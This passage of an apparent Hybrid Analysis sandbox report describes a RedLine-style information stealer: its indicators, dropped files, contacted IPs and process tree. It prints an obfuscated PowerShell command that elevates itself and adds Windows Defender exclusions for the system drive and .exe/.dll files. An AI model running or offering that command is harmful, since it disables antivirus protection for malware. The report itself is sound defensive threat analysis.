Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"ringo1_1_.exe\" claimed CRC 3819968 while the actual is CRC 197601","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"ringo1_1_.exe\" has an entrypoint in section \".QX\"\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"UnhandledExceptionFilter\n GetTempPathW\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n LoadLibraryExA\n LoadLibraryExW\n CreateThread\n TerminateProcess\n GetModuleHandleExW\n GetModuleHandleExA\n VirtualProtect\n GetStartupInfoW\n DeleteFileW\n GetFileSizeEx\n FindNextFileW\n FindFirstFileExW\n GetProcAddress\n CreateFileW\n GetCommandLineW\n GetCommandLineA\n GetModuleHandleA\n GetModuleHandleW\n GetFileAttributesExW\n WriteFile\n CreateProcessW\n Sleep\n VirtualAlloc\n LoadLibraryA\n GetStartupInfoA\n FindWindowA\n GetClipboardData\n GetCursorPos\n GetUserNameW\n GetSystemInfo\n GetVersionExA\n CreateFileA\n GetTickCount","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$2f","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"nika_1_.exe\" claims program is from Fri Dec 15 06:19:45 2090\n \"gona_1_.exe\" claims program is from Sun Oct 23 04:36:13 2039\n \"trebo_1_.exe\" claims program is from Wed Dec 22 01:32:04 2049\n \"ringo_1_.exe\" claims program is from Sat Apr 8 17:19:59 2102","origin":"Static Parser","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"6/70 Antivirus vendors marked dropped file \"file.exe.bin\" as malicious (classified as \"Evo\" with 8% detection rate)\n 46/67 Antivirus vendors marked dropped file \"nika_1_.exe\" as malicious (classified as \"Gen:Variant.Tedy\" with 68% detection rate)\n 51/70 Antivirus vendors marked dropped file \"trebo_1_.exe\" as malicious (classified as \"HEUR:Trojan.MSIL.Agent\" with 72% detection rate)\n 55/69 Antivirus vendors marked dropped file \"trebo1_1_.exe\" as malicious (classified as \"Trojan.Strab\" with 79% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"file.exe\" wrote 4024 bytes to a remote process \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1124)\n \"file.exe\" wrote 8 bytes to a remote process \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1124)\n \"file.exe\" wrote 4 bytes to a remote process \"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe\" (Handle: 1124)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"malicious","category":"Network Related","name":"Tries to identify its external IP address","description":"\"ip-api.com\"","origin":"Network Traffic","mitre_attack_id":"T1016","relevance":6,"id":"network-24","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"malicious","category":"Network Related","name":"Uses network protocols on unusual ports","description":"TCP traffic to 208.95.112.1 on port 49725\n TCP traffic to 185.105.88.137 on port 49726\n TCP traffic to 62.204.41.248 on port 49727","origin":"Network Traffic","mitre_attack_id":"T1571","relevance":7,"id":"network-7","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"malicious","category":"Pattern Matching","name":"YARA signature match","description":"$30","origin":"YARA Signature","relevance":10,"id":"yara-0","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Hooks internet related APIs","description":"\"InternetOpenA@WININET.DLL\" in \"file.exe\"\n \"InternetReadFile@WININET.DLL\" in \"file.exe\"\n \"InternetOpenW@WININET.DLL\" in \"file.exe\"\n \"HttpOpenRequestW@WININET.DLL\" in \"file.exe\"\n \"HttpOpenRequestA@WININET.DLL\" in \"file.exe\"","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-5","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns a lot of processes","description":"$31","origin":"Monitored Target","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Hooks internet related APIs"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Spyware","details_count":1,"details":[{"detail":"Hooks API calls"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Persistence","details_count":4,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"},{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Fingerprint","details_count":6,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Tries to identify its external IP address"},{"detail":"Reads the windows installation language"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Queries sensitive IE security settings"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Contains ability to check if a debugger is running"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 1 domain and 1 host"}],"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]}]},"activity":{"stats":{"process_count":10,"spawned_processes_count":10,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":18,"imported_dlls_count":71,"dropped_files_count":0,"extracted_files_count":8,"files_written_count":10,"files_deleted_count":0,"registry_keys_created_count":2,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":2,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":1,"contacted_urls_count":0,"http_requests_count":0},"behavior_tags":["backdoor","commodity","informationstealer","redlinestealer"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"sandbox_reports":[{"id":"63dea0b52a10a719ed418e1f","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Evo","contacted_countries":["GBR","RUS","ZZZ"],"submit_name":"file.exe","analysis_start_time":"2023-02-04T18:15:18+00:00","indicators_count":{"informative":63,"suspicious":36,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files","Sample Crashed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"208.95.112.1","port":49725,"protocol":"TCP","country":"Reserved","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"address":"185.105.88.137","port":49726,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"address":"62.204.41.248","port":49727,"protocol":"TCP","country":"United Kingdom","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]}],"dns_resolutions":[{"domain":"ip-api.com","address":"208.95.112.1","ttl":60,"country":"Reserved","registrar_name":"Internet Domain Service BS Corp.","registrar_organization":"Whois Privacy Corp.","registrar_name_servers":"A.IP-API.COM","registrar_creation_date":"2012-04-24T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]}],"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}],"processes":[{"pid":3344,"ppid":0,"name":"file.exe","command_line":"","sha256":"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1","normalized_path":"C:\\file.exe","uid":"00000000-00003344","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABDElEQVR42u2WSwrCMBCGiwgiggjiWRUfoKgLwbVQ8DQiXkHbA/QAfbebkVm0ZpGk07ENgh346a7fN38gxLK66eZX5ng6g8kYE7jdH9KvVMDzPCNRCuR53kqyLCuTpmm9BvAH1vxJThW8UuBiX8uIArODC9O9C5OdC+OtA6ONA8O1A4PVC/rLF/QWHwHbtpVJkoTXAAUuNiDbHOFsAQq8kQZUR0CBY3SbY+I45jVAgRcCugbYAhR4IaDavAjrCChwDIJ1DURRxGuAAi8EVJsjnC1AgWMQ+lUDqiOgRrc5JgzDdq9iWQMivHUB3eZGBVTwIAjqC1Td7VVnLsJZAk3Cfd83+yQjvwm76eZv5w1WzRqWyEpLtgAAAABJRU5ErkJggg=="},{"pid":7332,"ppid":3344,"name":"powershell.exe","command_line":"powershell \"Start-Process <#uktpmebqco#> powershell <#uktpmebqco#> -Verb <#uktpmebqco#> runAs\" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003344","uid":"00000000-00007332"},{"pid":7548,"ppid":7332,"name":"WerFault.exe","command_line":"-u -p 7332 -s 1696","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00007332","uid":"00000000-00007548"},{"pid":3904,"ppid":7332,"name":"WerFault.exe","command_line":"-u -p 7332 -s 1696","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00007332","uid":"00000000-00003904"},{"pid":7744,"ppid":7332,"name":"WerFault.exe","command_line":"-u -p 7332 -s 1732","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00007332","uid":"00000000-00007744"},{"pid":6212,"ppid":0,"name":"file.exe","command_line":"\"C:\\..converter.build86.1493470447.loader[197]_x86\"","sha256":"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1","normalized_path":"C:\\file.exe","uid":"00000000-00006212","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABDElEQVR42u2WSwrCMBCGiwgiggjiWRUfoKgLwbVQ8DQiXkHbA/QAfbebkVm0ZpGk07ENgh346a7fN38gxLK66eZX5ng6g8kYE7jdH9KvVMDzPCNRCuR53kqyLCuTpmm9BvAH1vxJThW8UuBiX8uIArODC9O9C5OdC+OtA6ONA8O1A4PVC/rLF/QWHwHbtpVJkoTXAAUuNiDbHOFsAQq8kQZUR0CBY3SbY+I45jVAgRcCugbYAhR4IaDavAjrCChwDIJ1DURRxGuAAi8EVJsjnC1AgWMQ+lUDqiOgRrc5JgzDdq9iWQMivHUB3eZGBVTwIAjqC1Td7VVnLsJZAk3Cfd83+yQjvwm76eZv5w1WzRqWyEpLtgAAAABJRU5ErkJggg=="},{"pid":1108,"ppid":6212,"name":"powershell.exe","command_line":"powershell \"Start-Process <#vfdaprhsfnazhooxw#> powershell <#vfdaprhsfnazhooxw#> -Verb <#vfdaprhsfnazhooxw#> runAs\" -WindowStyle hidden -Argument 'Add-MpPreference -ExclusionPath $env:SystemDrive -ExclusionExtension .exe, .dll -Force'","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00006212","uid":"00000000-00001108"},{"pid":6040,"ppid":1108,"name":"WerFault.exe","command_line":"-u -p 1108 -s 1328","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00001108","uid":"00000000-00006040"},{"pid":4448,"ppid":1108,"name":"WerFault.exe","command_line":"-u -p 1108 -s 1328","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00001108","uid":"00000000-00004448"},{"pid":5648,"ppid":1108,"name":"WerFault.exe","command_line":"-u -p 1108 -s 1328","sha256":"98c1d80ffcc985b270dbae237d737e574c0085ffb1e60519814608bdb770d093","normalized_path":"%WINDIR%\\SysWOW64\\WerFault.exe","parent_uid":"00000000-00001108","uid":"00000000-00005648"}],"all_imported_dlls":["clrjit.dll","wow64.dll","ws2_32.dll","shell32.dll","mscorrc.dll","bcryptprimitives.dll","vcruntime140_clr0400.dll","bcrypt.dll","atl.dll","version.dll","IPHLPAPI.DLL","wow64cpu.dll","shlwapi.dll","imagehlp.dll","gdi32full.dll","msvcp_win.dll","ole32.dll","powrprof.dll","mscorlib.ni.dll","apphelp.dll","oleaut32.dll","SHCore.dll","iertutil.dll","msIso.dll","mscoreei.dll","windows.storage.dll","nsi.dll","FWPUCLNT.DLL","diasymreader.dll","wow64win.dll","fltLib.dll","kernel.appcore.dll","sechost.dll","System.ni.dll","advapi32.dll","win32u.dll","wininet.dll","clr.dll","cryptsp.dll","crypt32.dll","ntdll.dll","kernel32.dll","rpcrt4.dll","gdi32.dll","combase.dll","imm32.dll","mswsock.dll","dnsapi.dll","msvcrt.dll","sspicli.dll","cfgmgr32.dll","OnDemandConnRouteHelper.dll","rsaenh.dll","winnlsres.dll","wintrust.dll","profapi.dll","urlmon.dll","psapi.dll","gpapi.dll","KernelBase.dll","cryptbase.dll","user32.dll","winhttp.dll","winnsi.dll","rasadhlp.dll","ucrtbase_clr0400.dll","System.Core.ni.dll","ucrtbase.dll","mscoree.dll","clbcatq.dll","msasn1.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"file.exe.bin","sha256":"b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"nika_1_.exe","sha256":"850cd190aaeebcf1505674d97f51756f325e650320eaf76785d954223a9bee38","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"trebo_1_.exe","sha256":"f4bfa9f592a953ba496c92d14b1ef1698ada62b9cb547e6a0843ced061fb6e8e","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"trebo1_1_.exe","sha256":"623839847e3aa9ceda27ced8b2b29b2d4545384bc3a322eaeedd04d5d04b65bd","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"gona_1_.exe","sha256":"30e97c94990818f89838bd96b3c90c411e89cf801198a0be961944503b1329ba","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"ringo1_1_.exe","sha256":"e6c73532d36c90b32f2e7633fd41cefad7d4b87292f6b60a41ad24e859ecbca1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"ringo_1_.exe","sha256":"303f13b5ed84a78dc78632d8cee77b8908e102729678e876cbe152546b28b128","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"json_1_.json","sha256":"cc7f23e93361f2d001dd78b81f0d89d8ae0a26a7e5c1d82ce09ecd09352f9f28","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]}],"files_written":[{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"path":"%USERPROFILE%\\Desktop","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"path":"%USERPROFILE%\\AppData\\Local","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCookies","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\IE\\9SSPAW46\\json[1].json","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\\\","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"key":"HKLM\\SYSTEM\\CONTROLSET001\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3344:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SmartLoader197","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:3344:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Local\\SM0:3344:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Local\\SM0:3344:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"SmartLoader197","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7332:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Local\\SM0:7332:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Local\\SM0:6212:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Local\\SM0:6212:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6212:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:6212:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:1108:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]},{"name":"Local\\SM0:1108:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"63dea0b52a10a719ed418e1f"}]}]}},"report_ids":{"sandbox_job_ids":["63dea0b52a10a719ed418e1f"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic Sample b973d20f7964… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample b973d20f7964…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 7 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample b973d20f7964… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample b973d20f7964…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 7 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/b973d20f7964f71bb99241b1b25c6161dfc7d2fb2c03ff30f1a1f18c415861b1"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample b973d20f7964… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample b973d20f7964…. Malware family: Trojan.Generic. Threat score 100/100. 12/28 AV engines flagged this file. 7 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L32","11",{}]]